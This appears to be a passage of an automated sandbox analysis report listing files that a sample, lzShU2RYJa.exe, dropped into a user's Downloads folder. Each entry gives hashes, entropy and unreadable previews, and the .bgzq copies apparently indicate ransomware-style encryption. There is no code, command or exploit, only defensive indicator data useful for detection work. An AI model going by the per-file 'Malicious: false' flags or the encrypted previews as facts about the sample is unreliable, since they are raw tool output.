Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85098824517073
Encrypted:	false
SSDEEP:	24:PTGrBU7It+euRnSlNo5QLiDXmjiAV8hjzFBBSRQXa5y/+tb9MyVbD:Stq/2eqIBBfXa5yYCyFD
MD5:	5280F5C1EFACB4F2974E5946D5CF8908
SHA1:	56F0B82B15535896A1496A62F887F48197E2F511
SHA-256:	6B0CB67875B7FAC48CA472D6FECE6A02DCAE1097C6F6F67D7648ADEC3C8C341E
SHA-512:	30D9F08433248AB846CDFB11AC85EB2FFADD04BA94BBB7BFBD405FD53BE154D13E97BD259143598123F9EABF756CD76C2DC4A8430C468FD723AF6B1DFAE2AB75
Malicious:	false
Preview:	KATAXP.o..^.{.w..G.+.G1O#...<0.B.4f..7...?.A&.R.l^e.yz..Ev..\|w [...;.x.......~......?.]Xh..Ke.y.#..vd.$..X..u....bL~N...f..l..3.....8.P.!4`p"U.......[.l7s.b........l)V....F.k.1..()Z.n.9..+kY....kF3KR.#C..\!.o.s.....&.&q.c.vl1.k...,$.........x.\`..3...{.}.{.Q.]gM.#.lc...J(..D....jD!.qk...Z...T.0n_XU#......z(\|.X.xj...).n....P.r.F...0.Q....I.!y."X.Y.O.;A5....l..&..F.R..Z...7/..D....._T...s.3...S.7...4.)".q...k3cv...x/=....L.. .9..%..W......}S]..~....,..K.....bLk..m.l......,O/x~.0...ik.y+..LM.._..t....0ie..H..tJ.n.\...a...0Nx..#"...?.F.2...'...Lh+.#U..LQ..G.-..@S35..j.e.a......~`W'C.......8...A..2..g..!%.+..U.A...+.<......{..........F.pn(...@c0.....8...7.].CET.....5./,g`...z;.I.H...a.wv....I....?A>..n.6...m.....A.y8.......-.....\|..K....I0.13......#.s......H.Q.p@.y.#a..6......<...t...)\...b>.....-.1.e.vph.h.........\|7...Y..i...%..M.).A.$.J}.c. ..5.;....,\|c..).......74A.W..^{1Oq^...I8l.H.A.t.....q..z...T..},..UD......=..q.8..e#..............

C:\Users\user\Downloads\KATAXZVCPS.xlsx

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849537611850694
Encrypted:	false
SSDEEP:	24:qZQQCH/VT0ZIMw3DTuDDr8agrjWVT7G13C7Z0gY1Ll9p8YRA3FlWNOVbD:q+NeIMmDTuzirjcnM3W7i9p8Y23FlWU9
MD5:	C0AE927CB10B9373C335286A1A493224
SHA1:	1C5D61D57F79FE336967F18275B9B07AA445592C
SHA-256:	9B1AADCD31BDDB4120EC7645FF1CDBE2E02FECCB3CDE281F22401CB7A59058E6
SHA-512:	49F1128303733ECB51E3F47EB7460FA27CCF2047E6B6BDB3E86426E54D3E4DE7753DF1807475B845D29B697215F0529EE587505BFD4BDACDB8D529E76059B2D5
Malicious:	false
Preview:	KATAX.iD[.!!$.>....G[0N._.`....K..jk..4;....m..,G..N...........L.}.fr...gC..v...p...T.k.k.Mv.6.UK.IW.B.vQm.DX.Gx...Ukjk...ZN..h>-:.>_&..T............P....9j6..J..}..c.v..o+eg{.1....x..\.O....wK.>....d.w...V.....H....S/k.i......U.qQ..U S.?.m...R.O.~...........x7..)..3F..wn...N..bn.V..3GH...I....K.$Orp....i.3.>"...,....^.......]7.~wS'.L..i...m..`K....p.8....`. Sq].$......E.1.....F!..o(....bo.f......I.s.`....\.u....K..n.q..)...{..?S....1P6.8X,.....W.b....T.......7.~Ehp...=.H.M1F..H..7.s. ...v.......+..a..R.4."@.S.iI....l.d....d..j.J...~...^d."&.G.}....b...9.eG=...CC..H@0X.{0y.,3..n.A....{.nQ..?.9N.D7.....k.._..S.E@,'.>..~...kcY:.;..dJ...n..4.{...<.. ".Y]..[..Ob..8....P:....IT.1K+.<..zY.....k.....i...sZ.6...rJcU..R....}..z._f.t6:....P]'..d.qS._...5..nd\|..X'.......@.W.>.... z...H(l..r9T.~.&;d..:.V.`m/q......;[y}.@=....kb.J.49.v....Po..QT....#.+..D.y...U8...6..Dy4..._P.f.%.]......... DE.<CB......8.4..}A..K.........K.!2iE..y..".U......e..s...

C:\Users\user\Downloads\KATAXZVCPS.xlsx.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849537611850694
Encrypted:	false
SSDEEP:	24:qZQQCH/VT0ZIMw3DTuDDr8agrjWVT7G13C7Z0gY1Ll9p8YRA3FlWNOVbD:q+NeIMmDTuzirjcnM3W7i9p8Y23FlWU9
MD5:	C0AE927CB10B9373C335286A1A493224
SHA1:	1C5D61D57F79FE336967F18275B9B07AA445592C
SHA-256:	9B1AADCD31BDDB4120EC7645FF1CDBE2E02FECCB3CDE281F22401CB7A59058E6
SHA-512:	49F1128303733ECB51E3F47EB7460FA27CCF2047E6B6BDB3E86426E54D3E4DE7753DF1807475B845D29B697215F0529EE587505BFD4BDACDB8D529E76059B2D5
Malicious:	false
Preview:	KATAX.iD[.!!$.>....G[0N._.`....K..jk..4;....m..,G..N...........L.}.fr...gC..v...p...T.k.k.Mv.6.UK.IW.B.vQm.DX.Gx...Ukjk...ZN..h>-:.>_&..T............P....9j6..J..}..c.v..o+eg{.1....x..\.O....wK.>....d.w...V.....H....S/k.i......U.qQ..U S.?.m...R.O.~...........x7..)..3F..wn...N..bn.V..3GH...I....K.$Orp....i.3.>"...,....^.......]7.~wS'.L..i...m..`K....p.8....`. Sq].$......E.1.....F!..o(....bo.f......I.s.`....\.u....K..n.q..)...{..?S....1P6.8X,.....W.b....T.......7.~Ehp...=.H.M1F..H..7.s. ...v.......+..a..R.4."@.S.iI....l.d....d..j.J...~...^d."&.G.}....b...9.eG=...CC..H@0X.{0y.,3..n.A....{.nQ..?.9N.D7.....k.._..S.E@,'.>..~...kcY:.;..dJ...n..4.{...<.. ".Y]..[..Ob..8....P:....IT.1K+.<..zY.....k.....i...sZ.6...rJcU..R....}..z._f.t6:....P]'..d.qS._...5..nd\|..X'.......@.W.>.... z...H(l..r9T.~.&;d..:.V.`m/q......;[y}.@=....kb.J.49.v....Po..QT....#.+..D.y...U8...6..Dy4..._P.f.%.]......... DE.<CB......8.4..}A..K.........K.!2iE..y..".U......e..s...

C:\Users\user\Downloads\NWTVCDUMOB.png

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840140813935501
Encrypted:	false
SSDEEP:	24:/YVTsqmXMnVxDBRnD0zuEwmb0N9avUdB2BdOLvCbsl5dnwN/PR/QkqP/Xp34VbD:/gHV/p0zuo+f2BdObWo7YR4ki/2FD
MD5:	CFD5B82F17BECE5F0AE7770DC755E1FB
SHA1:	6807850FE31B0C64F1DFA4746CD660152FF041B5
SHA-256:	D309AC0AE4FB350F431906954AD1812A1F20EDFBBD3D59BA79D260A3BBDFFFF5
SHA-512:	A0D2A36810633F38E9E0EEEB4723AC4DD844A959F29426EBFE4BE094EEB1B6C478B24B023B87132697E20A48936BEA1AE8850F69753AE02A3B1501C9497BE6AD
Malicious:	false
Preview:	NWTVCj.Q.V@.5.....g.5.K4..5kw\.......x.z.HI/2.8....LH .E.#.x.b....)....i...%^..Un...eK.%.R.`H....lX.8...........].d.=..I.}..X<pr.1X$.r.%..S..7....i...7p......oX%....VE.872.....k...mU. "./.b.......w+xwT......L.P...27..P..'8:.S....1zzj..z..3.M5\|x..T3nh....U...G......U.4Z..!{.P<...BA..fJ?.M......%.....0.W~.S{.G.......].....kzF%.Q..W..9Z6.%c..~..;.H9xY:e..D.A!....~;^g.Rm..........(09..oQ9.~..@..........QM...C.'&...{....L.x...L..;.).~M.j.!P`9...........&....Y.V.]..Z.........Wy...L..\|5Mr.B...\|...k..,T..6=.=aD....mr....y.XFI;$.W...m.TM>..S.A... 1....\|C.7...p........XG....<..d.G.......t....pXm...8..:.'.....^.a........^.3..X.\|...,.....I...Y,.../....z..hH4.`..,G.By.Fi Z...n.Ao.bi...}.B.d.........._....mWc.....J..g..R.....(..).th....t..s ....e.x..J...........OM.o.....M\.0.Y;.=,.......+..'Zp...$.sw?.}X..:.".^...1<..K........d..e...Q..9A....b,L.x...7}..#.;;..V...].z.P.......P....m.?r.s.{.....}.bs......i.t%B.N+....].eJ...9.PE..U.G...e.<.+^..E.......1'w..a..

C:\Users\user\Downloads\NWTVCDUMOB.png.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840140813935501
Encrypted:	false
SSDEEP:	24:/YVTsqmXMnVxDBRnD0zuEwmb0N9avUdB2BdOLvCbsl5dnwN/PR/QkqP/Xp34VbD:/gHV/p0zuo+f2BdObWo7YR4ki/2FD
MD5:	CFD5B82F17BECE5F0AE7770DC755E1FB
SHA1:	6807850FE31B0C64F1DFA4746CD660152FF041B5
SHA-256:	D309AC0AE4FB350F431906954AD1812A1F20EDFBBD3D59BA79D260A3BBDFFFF5
SHA-512:	A0D2A36810633F38E9E0EEEB4723AC4DD844A959F29426EBFE4BE094EEB1B6C478B24B023B87132697E20A48936BEA1AE8850F69753AE02A3B1501C9497BE6AD
Malicious:	false
Preview:	NWTVCj.Q.V@.5.....g.5.K4..5kw\.......x.z.HI/2.8....LH .E.#.x.b....)....i...%^..Un...eK.%.R.`H....lX.8...........].d.=..I.}..X<pr.1X$.r.%..S..7....i...7p......oX%....VE.872.....k...mU. "./.b.......w+xwT......L.P...27..P..'8:.S....1zzj..z..3.M5\|x..T3nh....U...G......U.4Z..!{.P<...BA..fJ?.M......%.....0.W~.S{.G.......].....kzF%.Q..W..9Z6.%c..~..;.H9xY:e..D.A!....~;^g.Rm..........(09..oQ9.~..@..........QM...C.'&...{....L.x...L..;.).~M.j.!P`9...........&....Y.V.]..Z.........Wy...L..\|5Mr.B...\|...k..,T..6=.=aD....mr....y.XFI;$.W...m.TM>..S.A... 1....\|C.7...p........XG....<..d.G.......t....pXm...8..:.'.....^.a........^.3..X.\|...,.....I...Y,.../....z..hH4.`..,G.By.Fi Z...n.Ao.bi...}.B.d.........._....mWc.....J..g..R.....(..).th....t..s ....e.x..J...........OM.o.....M\.0.Y;.=,.......+..'Zp...$.sw?.}X..:.".^...1<..K........d..e...Q..9A....b,L.x...7}..#.;;..V...].z.P.......P....m.?r.s.{.....}.bs......i.t%B.N+....].eJ...9.PE..U.G...e.<.+^..E.......1'w..a..

C:\Users\user\Downloads\ONBQCLYSPU.pdf

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84564132273419
Encrypted:	false
SSDEEP:	24:KQI/Fj88AwXA4FW3g7VgeQmDrgHtCKyvNWiNXW2ej7gIE3cTEgocIyDBVbD:ZIdvvcgR2moPyvECm2ejJXEgpDBFD
MD5:	8E472E0B5E6EBA2A5D34EF5B8AE9A3BB
SHA1:	D6EBC0068C852E8E523CBA0CEC3E5527C0708518
SHA-256:	79DBA66DE3523C67AC791EF91BAA63C34B8112DDD055026C30262D72F3C39033
SHA-512:	969BB03F65F6B6092614A919463449A144E60357CA61D95B3CE08A14D4CA256065870899FD73E6E3A77AE46AE8A69E09E50ED70C2EDB1AC4C76732D6FBA29F2C
Malicious:	false
Preview:	ONBQC<n.}...jM..F..#.U..;.\|,$)....j..iqw.N.H.:.iI'.n...'......n.K.o..P.+..%..q..R.\!....t-..............N c\|y.'iu..{J.>(I.D%rW........K8n....OWe...Z..gff3U.....3+.SAI9!.....DV.....q.5\...#2..=.G....%...m,[ .......w.@..{..h\.{.(M....tBe...C......A-.7.!.U. [..@.w..;....j7.....!.S..].\|\|.....\'A..).?].m.....\|..\|9s./n.../c..V%..`f.......U}..L..\|....\|.e.....4.>.._.@..x..2jk..8.\.q..f.E.F....OZbY..<8...+^Wg..o.U..t......[.u..(.RUr-..{:.Y.4p....-.Q.^0.w.'R\..\+.{Ht1..W..fWRi.Y%x.>....U]..<..6....YpI.....<..'i?../...'....V..s...../.m6.p..c.....m=u..g.....d.'...c.[}}.6....R9V.;.E.^:.Q...S._...5.@..B...e_.<.^.w~).{.c.S..ND,;&..D.?G........7.?+...Q..([<...G<.O.....k...%.:...u..q......$.g.J...G.v...JU\|.V;q...9......}.A.9..9..?yd..!.P..O.k.....?.A~..a..@V5H5b..;..-l.XjEeW8..c...8.!..c-...%...y...eZ9.....K.!F(.>0......s$.N.....]2R....G@SofDM.g.6+d.q.8].j..JC.1..Y.NR...BS.f..-v...7..,..L6..i........q....... U.`.igJ...pU..s(.?.0M"...x.s.....

C:\Users\user\Downloads\ONBQCLYSPU.pdf.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84564132273419
Encrypted:	false
SSDEEP:	24:KQI/Fj88AwXA4FW3g7VgeQmDrgHtCKyvNWiNXW2ej7gIE3cTEgocIyDBVbD:ZIdvvcgR2moPyvECm2ejJXEgpDBFD
MD5:	8E472E0B5E6EBA2A5D34EF5B8AE9A3BB
SHA1:	D6EBC0068C852E8E523CBA0CEC3E5527C0708518
SHA-256:	79DBA66DE3523C67AC791EF91BAA63C34B8112DDD055026C30262D72F3C39033
SHA-512:	969BB03F65F6B6092614A919463449A144E60357CA61D95B3CE08A14D4CA256065870899FD73E6E3A77AE46AE8A69E09E50ED70C2EDB1AC4C76732D6FBA29F2C
Malicious:	false
Preview:	ONBQC<n.}...jM..F..#.U..;.\|,$)....j..iqw.N.H.:.iI'.n...'......n.K.o..P.+..%..q..R.\!....t-..............N c\|y.'iu..{J.>(I.D%rW........K8n....OWe...Z..gff3U.....3+.SAI9!.....DV.....q.5\...#2..=.G....%...m,[ .......w.@..{..h\.{.(M....tBe...C......A-.7.!.U. [..@.w..;....j7.....!.S..].\|\|.....\'A..).?].m.....\|..\|9s./n.../c..V%..`f.......U}..L..\|....\|.e.....4.>.._.@..x..2jk..8.\.q..f.E.F....OZbY..<8...+^Wg..o.U..t......[.u..(.RUr-..{:.Y.4p....-.Q.^0.w.'R\..\+.{Ht1..W..fWRi.Y%x.>....U]..<..6....YpI.....<..'i?../...'....V..s...../.m6.p..c.....m=u..g.....d.'...c.[}}.6....R9V.;.E.^:.Q...S._...5.@..B...e_.<.^.w~).{.c.S..ND,;&..D.?G........7.?+...Q..([<...G<.O.....k...%.:...u..q......$.g.J...G.v...JU\|.V;q...9......}.A.9..9..?yd..!.P..O.k.....?.A~..a..@V5H5b..;..-l.XjEeW8..c...8.!..c-...%...y...eZ9.....K.!F(.>0......s$.N.....]2R....G@SofDM.g.6+d.q.8].j..JC.1..Y.NR...BS.f..-v...7..,..L6..i........q....... U.`.igJ...pU..s(.?.0M"...x.s.....

C:\Users\user\Downloads\VLZDGUKUTZ.xlsx

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.871451678230864
Encrypted:	false
SSDEEP:	24:fgCxaK3VdwHe5dnNqlICmSc6cDB2Ns9dJwzNa26nCjZh1HGohtcPhUnVbD:vAKFdwH0dNqlXmSZps9L1kTF77YEFD
MD5:	DF7CD33B386DC989901C4BEF9CA84A1C
SHA1:	557EE36BE4A4F42DE87BC3FC6F39AAE53FE61F10
SHA-256:	079D0B23414FC4D810BA2871439335F3A8E56CA95BFDF19E043101C6139C8480
SHA-512:	12609B1629ABA3B2C6B292E89C6611911DD210DB736D38FBA7BCD7B7134222228676F66A5DF67CFBC1CD401A99E2FB382640FB1EE8EFDCBC5C432E8411A61628
Malicious:	false
Preview:	VLZDG8...o...e%O_.`s.D.e(r.jZ....{$...M......y.<as..$_o.../.,..p..x..Hl.:G..5->M.5.+..C.'....8....V.7jA.!K..L._4-.E.[.l3....\|..2..f.I...RHdb.+. .bk].-..01.u"w.-.\|..!...;..6......50m......ii.(..uEo..N.\.-....rd...Sb.u.........W.u......Q..y.9.y8......ww...M........aV....0......"..p~S.c%C.....T5........!.&...s{..e...Xn ......@5;60...}...y.......@....`t..7vU..2.&..>..#...([.{X.....o..."..P..Xa...h..q.=KI~'......$T._....hI.b)...Js7......]$....^.^...65R._<...6..M.i.#N...z.q6..K..h..../F.......p..I..p6...d.(g._.$.j."....%....!w.....j..j.2.Y..t<.7q.!.....4...\|.[yp.,.@..XJ.....n..sA.,.5.<..t......^R R......s-...(@\....U..-d.gF........r....BU............n. .@\|...wAs.o..d3I..q....S....j.S!.[H.3.aO.uq......vv..tt&5.p...d.........-..0.V...dz..Og.T...M.+..5/....#.......@}l......F.....:8...........u.........F.J....R"7...D....t..^c\|S<b..`..^>......w.?_.....G.i.=j.f..lj..J.Gp......m~..v.o...._I.$p..O...."Q...!.r.....\|.QXf..'./.y.^+.. S......V..v

C:\Users\user\Downloads\VLZDGUKUTZ.xlsx.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.871451678230864
Encrypted:	false
SSDEEP:	24:fgCxaK3VdwHe5dnNqlICmSc6cDB2Ns9dJwzNa26nCjZh1HGohtcPhUnVbD:vAKFdwH0dNqlXmSZps9L1kTF77YEFD
MD5:	DF7CD33B386DC989901C4BEF9CA84A1C
SHA1:	557EE36BE4A4F42DE87BC3FC6F39AAE53FE61F10
SHA-256:	079D0B23414FC4D810BA2871439335F3A8E56CA95BFDF19E043101C6139C8480
SHA-512:	12609B1629ABA3B2C6B292E89C6611911DD210DB736D38FBA7BCD7B7134222228676F66A5DF67CFBC1CD401A99E2FB382640FB1EE8EFDCBC5C432E8411A61628
Malicious:	false
Preview:	VLZDG8...o...e%O_.`s.D.e(r.jZ....{$...M......y.<as..$_o.../.,..p..x..Hl.:G..5->M.5.+..C.'....8....V.7jA.!K..L._4-.E.[.l3....\|..2..f.I...RHdb.+. .bk].-..01.u"w.-.\|..!...;..6......50m......ii.(..uEo..N.\.-....rd...Sb.u.........W.u......Q..y.9.y8......ww...M........aV....0......"..p~S.c%C.....T5........!.&...s{..e...Xn ......@5;60...}...y.......@....`t..7vU..2.&..>..#...([.{X.....o..."..P..Xa...h..q.=KI~'......$T._....hI.b)...Js7......]$....^.^...65R._<...6..M.i.#N...z.q6..K..h..../F.......p..I..p6...d.(g._.$.j."....%....!w.....j..j.2.Y..t<.7q.!.....4...\|.[yp.,.@..XJ.....n..sA.,.5.<..t......^R R......s-...(@\....U..-d.gF........r....BU............n. .@\|...wAs.o..d3I..q....S....j.S!.[H.3.aO.uq......vv..tt&5.p...d.........-..0.V...dz..Og.T...M.+..5/....#.......@}l......F.....:8...........u.........F.J....R"7...D....t..^c\|S<b..`..^>......w.?_.....G.i.=j.f..lj..J.Gp......m~..v.o...._I.$p..O...."Q...!.r.....\|.QXf..'./.y.^+.. S......V..v

C:\Users\user\Downloads\XZXHAVGRAG.xlsx

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854960753841485
Encrypted:	false
SSDEEP:	24:DGKTmvNWU7ZRBArSYLEWg6FULxrNRt0vWpxkLSDa5QrvTpbppOBEKJPQaz/VbD:aKTmvQUHKSYL/gfZt0vW+efpb3GES4ah
MD5:	5395671A435D16D978506326AC2F7554
SHA1:	77EDB6A1502553099F3A83348F4313BC951380CF
SHA-256:	A71F1CAF5A2E3EAFED56A8FA0922296CDBAA3A9FCCDEBC71A320796B867B66D4
SHA-512:	42C16CC3AD665FDD72101EB698B5CFD62BBF38B37FB7481E9D8DD351654A212AF7846A6D6AA0B538840587C8662B77045A91D407520BA068EADBCF489046E000
Malicious:	false
Preview:	XZXHA.O2R.ML...%..[.}..'.H.........nH...aJ..7h...."F.\|.g....5&..6..K.7(c. .I.J.....j.X..Bb{9.Jr...oDw.m.n.J..!.......A.>......6.4n9..!..........^M>2c.w9 .9=..$...+.3.Xm~6\|...P.Pvx........,..R....q,&End...} o.v..X{..G........#[.U.W<.'.$..`%.#......]...3.=.....6.KB.-U..7T.w.n.)C.>..6..@....N..BBs2.......^K..aw..c.{3y.DT..naFw\|O.....ib....GH..9......i.....s....a.....ng.X..A.....W...&...EC..c...2..a.p.9...IR..L..m.$.....o.v.X4..c.D.<..tI...,0..C...(:k....a.U...<l.7...-.....#....Y.Y..D_.i\3..?.3.E..B...._.....g...". .....f.P.$=.,.x...a.q..,ef.!v.+..f....>....!...Y..7...o...5..p.m.T.a4....Z.....\|.B._Q..v...K.>................-t/..Q.....-.U...Yn.....>-.T(.-.U.......5....o...U.r....iy......1.r2..\|.T....cRJ...h.s...."s#...v....3..r.v.(.BUU....C..G..5.M.ogm..%Z..v5...Xs.uT.V.5..:QUV...?^...~.R...y#....+.pxl.....B1P...-.Y..Z.@..+I.s.....^.mG'...(.g..a{.>R`..s8.n....h...]...y..{..uY....#.CW^u.......&j.K..I}W........a.._."b\..........R.....\j.W.@

C:\Users\user\Downloads\XZXHAVGRAG.xlsx.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854960753841485
Encrypted:	false
SSDEEP:	24:DGKTmvNWU7ZRBArSYLEWg6FULxrNRt0vWpxkLSDa5QrvTpbppOBEKJPQaz/VbD:aKTmvQUHKSYL/gfZt0vW+efpb3GES4ah
MD5:	5395671A435D16D978506326AC2F7554
SHA1:	77EDB6A1502553099F3A83348F4313BC951380CF
SHA-256:	A71F1CAF5A2E3EAFED56A8FA0922296CDBAA3A9FCCDEBC71A320796B867B66D4
SHA-512:	42C16CC3AD665FDD72101EB698B5CFD62BBF38B37FB7481E9D8DD351654A212AF7846A6D6AA0B538840587C8662B77045A91D407520BA068EADBCF489046E000
Malicious:	false
Preview:	XZXHA.O2R.ML...%..[.}..'.H.........nH...aJ..7h...."F.\|.g....5&..6..K.7(c. .I.J.....j.X..Bb{9.Jr...oDw.m.n.J..!.......A.>......6.4n9..!..........^M>2c.w9 .9=..$...+.3.Xm~6\|...P.Pvx........,..R....q,&End...} o.v..X{..G........#[.U.W<.'.$..`%.#......]...3.=.....6.KB.-U..7T.w.n.)C.>..6..@....N..BBs2.......^K..aw..c.{3y.DT..naFw\|O.....ib....GH..9......i.....s....a.....ng.X..A.....W...&...EC..c...2..a.p.9...IR..L..m.$.....o.v.X4..c.D.<..tI...,0..C...(:k....a.U...<l.7...-.....#....Y.Y..D_.i\3..?.3.E..B...._.....g...". .....f.P.$=.,.x...a.q..,ef.!v.+..f....>....!...Y..7...o...5..p.m.T.a4....Z.....\|.B._Q..v...K.>................-t/..Q.....-.U...Yn.....>-.T(.-.U.......5....o...U.r....iy......1.r2..\|.T....cRJ...h.s...."s#...v....3..r.v.(.BUU....C..G..5.M.ogm..%Z..v5...Xs.uT.V.5..:QUV...?^...~.R...y#....+.pxl.....B1P...-.Y..Z.@..+I.s.....^.mG'...(.g..a{.>R`..s8.n....h...]...y..{..uY....#.CW^u.......&j.K..I}W........a.._."b\..........R.....\j.W.@

C:\Users\user\Downloads\YPSIACHYXW.mp3

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8638259741931735
Encrypted:	false
SSDEEP:	24:bWrAV4CwaPs+DpNY6NnW2jGfss18W90RFZBC5c9bUABzkPnEEYNch1hs0yLVbD:bdV4C5TY0nWP46kFu5oxkgNM1+FD
MD5:	1184DCDFFA7D5BF6536249255ED21197
SHA1:	FA9312588EC6071DE0C93AAFE97DE15F61F07568
SHA-256:	88FA37D382816CFCDBAF64CF96168C1E6F92055BFCE11B08DC533D820EFF19F1
SHA-512:	678D534BAADAFF1B3A23D51D73ECD0B93518E2B444C07C0460AD8270C173E17C88C0866BA79EB531B99EDD13CD5F1CBD4CC6C145A0FCDF55877AF749120CADDA
Malicious:	false
Preview:	YPSIAj.^.h..s.K.....).^}.....Fa...........H.......PUb...5.J..K..}k..s...x.........3...{.n@.?A......XE@.S.4.."........T...GZr^(.G............M...0.......w\|y.#/....\i.......<...'.@5%......8.%...X.g.6 .\...SQ..`9.=h.C.l..-c"R.?....9...F.....1...ko...u...T.0.#7..6L6..Py...[..O]....HU..3.{.._..m.b..:......5........]h...hH,.ay.\|.j.6.;......y..@..............#...U..x...Y....{.[5.........u1.q#V0..H.R.4...7...t..?R.0....+.e.}.Tg.{P...\.....\|F..ho..L,.\|.T.+.ML....C{...e......7...J.1.NqF;)i.Bm}$.../...qv...R.{.7Ay.6.R.d......m3:.Gr#`$.Y/a....\<.......s....H.X.....a.@...`.(=.{.xX.h.T?&...v.}7.Qk..,..a...,.}-"D...O.]J..w...19.`'>..1..+....1..p.m..w.#+ .H]\%v8%ou..M....\|.z...i...Q....ji...0.C5..#T:wg..2...V&W... .3....2.u..".XO.y.'...e.z.lRUJ....r.s...>m.Ju)..>?....(.../.L_x"..}}..w{......8..n...w...V.D.m....DO.......G@...#<Z......PU..S.2.5.":P.Ai..:...Q..R.3..=.Xk.N...Y..pu..L' ..g...67.:.n..@..4.7U...\.N.\|.a..Z.......A..x~e+...{Q..(.+6.RV

C:\Users\user\Downloads\YPSIACHYXW.mp3.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8638259741931735
Encrypted:	false
SSDEEP:	24:bWrAV4CwaPs+DpNY6NnW2jGfss18W90RFZBC5c9bUABzkPnEEYNch1hs0yLVbD:bdV4C5TY0nWP46kFu5oxkgNM1+FD
MD5:	1184DCDFFA7D5BF6536249255ED21197
SHA1:	FA9312588EC6071DE0C93AAFE97DE15F61F07568
SHA-256:	88FA37D382816CFCDBAF64CF96168C1E6F92055BFCE11B08DC533D820EFF19F1
SHA-512:	678D534BAADAFF1B3A23D51D73ECD0B93518E2B444C07C0460AD8270C173E17C88C0866BA79EB531B99EDD13CD5F1CBD4CC6C145A0FCDF55877AF749120CADDA
Malicious:	false
Preview:	YPSIAj.^.h..s.K.....).^}.....Fa...........H.......PUb...5.J..K..}k..s...x.........3...{.n@.?A......XE@.S.4.."........T...GZr^(.G............M...0.......w\|y.#/....\i.......<...'.@5%......8.%...X.g.6 .\...SQ..`9.=h.C.l..-c"R.?....9...F.....1...ko...u...T.0.#7..6L6..Py...[..O]....HU..3.{.._..m.b..:......5........]h...hH,.ay.\|.j.6.;......y..@..............#...U..x...Y....{.[5.........u1.q#V0..H.R.4...7...t..?R.0....+.e.}.Tg.{P...\.....\|F..ho..L,.\|.T.+.ML....C{...e......7...J.1.NqF;)i.Bm}$.../...qv...R.{.7Ay.6.R.d......m3:.Gr#`$.Y/a....\<.......s....H.X.....a.@...`.(=.{.xX.h.T?&...v.}7.Qk..,..a...,.}-"D...O.]J..w...19.`'>..1..+....1..p.m..w.#+ .H]\%v8%ou..M....\|.z...i...Q....ji...0.C5..#T:wg..2...V&W... .3....2.u..".XO.y.'...e.z.lRUJ....r.s...>m.Ju)..>?....(.../.L_x"..}}..w{......8..n...w...V.D.m....DO.......G@...#<Z......PU..S.2.5.":P.Ai..:...Q..R.3..=.Xk.N...Y..pu..L' ..g...67.:.n..@..4.7U...\.N.\|.a..Z.......A..x~e+...{Q..(.+6.RV

C:\Users\user\Favorites\Amazon.url

Download File

Process:	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.4272626238667785
Encrypted:	false
SSDEEP:	6:Jm8jmbqV7qijIjLiczfdwLzkaJ+pSIHmbfamcRkq8eFu6VjTgz4JfMzjhPcii96Z:c8jIK3kGczlJaJ+Ib48ingcejVcii9a
MD5:	FE84514A328A971BEBBBABE1EAD83074
SHA1:	F7D90F6FEBC5ABAE3BD3C7AF4EFC1C380559AA07
SHA-256:	17811CA18DD4EBB4413239A927FFD6C50D53052CD69F8041DAEF5E9206B1CA51
SHA-512:	1A2DB00CFE0FCA3B710FDFA19AD2951C98690B818DA9AB2F265D63B7678F802593E13FF09B0509ACC89BF4A753145587071D68BCD798C2D0F4AE686C9534142D
Malicious:	false
